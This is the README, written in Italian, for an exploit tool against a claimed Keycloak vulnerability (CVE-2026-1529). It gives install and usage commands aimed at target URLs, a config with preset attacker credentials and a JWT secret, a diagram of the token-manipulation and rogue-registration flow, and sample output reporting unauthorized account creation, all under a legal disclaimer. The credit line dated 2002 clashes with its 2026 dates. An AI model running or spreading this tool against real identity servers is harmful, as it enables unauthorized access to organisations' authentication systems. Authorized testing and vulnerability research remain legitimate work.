# Clona il repository
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Crea l'ambiente virtuale
python3 -m venv venv
source venv/bin/activate  # Su Windows: venv\Scripts\activate

# Installa le dipendenze
pip install -r requirements.txt

# Crea la struttura delle directory
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# Scarica i file dalle release o copiali manualmente
# Poi installa le dipendenze
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # Script principale dell'exploit
├── requirements.txt              # Dipendenze Python
├── README.md                     # Questo file
├── config/
│   └── default_config.json       # File di configurazione
├── utils/
│   ├── __init__.py              # Inizializzatore del pacchetto
│   ├── http_utils.py            # Utility client HTTP
│   ├── jwt_utils.py             # Manipolazione JWT
│   └── crypto_utils.py          # Utility crittografiche
├── logs/                         # Log generati automaticamente
└── output/
    └── reports/                  # Report dell'exploit

python3 keycloak-exploit.py https://target-keycloak.com

# Con token di invito personalizzato
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# Con ID organizzazione personalizzato
python3 keycloak-exploit.py -o custom_org_id https://target.com

# Con file di configurazione personalizzato
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# Abilita il logging di debug
python3 keycloak-exploit.py -d https://target.com

# Mostra l'aiuto
python3 keycloak-exploit.py -h

# Mostra la versione
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  Verifica Target│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Gen/Ottieni    │
│  Token          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Manipolazione   │
│ Token           │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Registrazione   │
│ Utente          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Test Login     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Gen. Report    │
└─────────────────┘

============================================================
RISULTATI EXPLOIT CVE-2026-1529
============================================================
✓ Il target è vulnerabile a CVE-2026-1529

🎯 EXPLOIT RIUSCITO!
Nome utente: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Link di Login: https://target.com/realms/master/account

📄 Report salvato in: output/reports/exploit_report_20260211_050507.txt

🔐 Utilizza le credenziali fornite per accedere all'istanza Keycloak!
⚠️  Questo dimostra l'accesso non autorizzato dovuto a CVE-2026-1529

============================================================
by f3ds cr3w est, 2002
============================================================

# Assicurati di essere nella directory corretta
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# Assicurati che la directory config esista
mkdir -p config
# Copia o crea default_config.json in config/

pip install --upgrade urllib3

# Abilita il logging di debug per vedere più dettagli
python3 keycloak-exploit.py -d https://target.com

# Aumenta il timeout in config/default_config.json
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ AVVISO LEGALE IMPORTANTE ⚠️

Questo strumento è fornito ESCLUSIVAMENTE per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI.

Utilizzando questo strumento, accetti che:

1. Utilizzerai questo strumento solo su sistemi di tua proprietà o per i quali hai 
   esplicita autorizzazione scritta per il test.

2. Comprendi che l'accesso non autorizzato a sistemi informatici è illegale 
   ai sensi di leggi tra cui, a titolo esemplificativo:
   - Computer Fraud and Abuse Act (CFAA) - Stati Uniti
   - Computer Misuse Act - Regno Unito
   - Legislazione simile in altri paesi

3. Accetti la piena responsabilità per qualsiasi conseguenza derivante dall'uso di questo strumento.

4. Gli autori e i contributori non sono responsabili per qualsiasi uso improprio o danno 
   causato da questo strumento.

5. Questo strumento è fornito "COSÌ COM'È" senza garanzia di alcun tipo.

UTILIZZO A PROPRIO RISCHIO. L'ACCESSO NON AUTORIZZATO È UN REATO.

# Clona il tuo fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Crea l'ambiente virtuale
python3 -m venv venv
source venv/bin/activate

# Installa le dipendenze
pip install -r requirements.txt

# Apporta le tue modifiche e testa
python3 keycloak-exploit.py https://test-target.com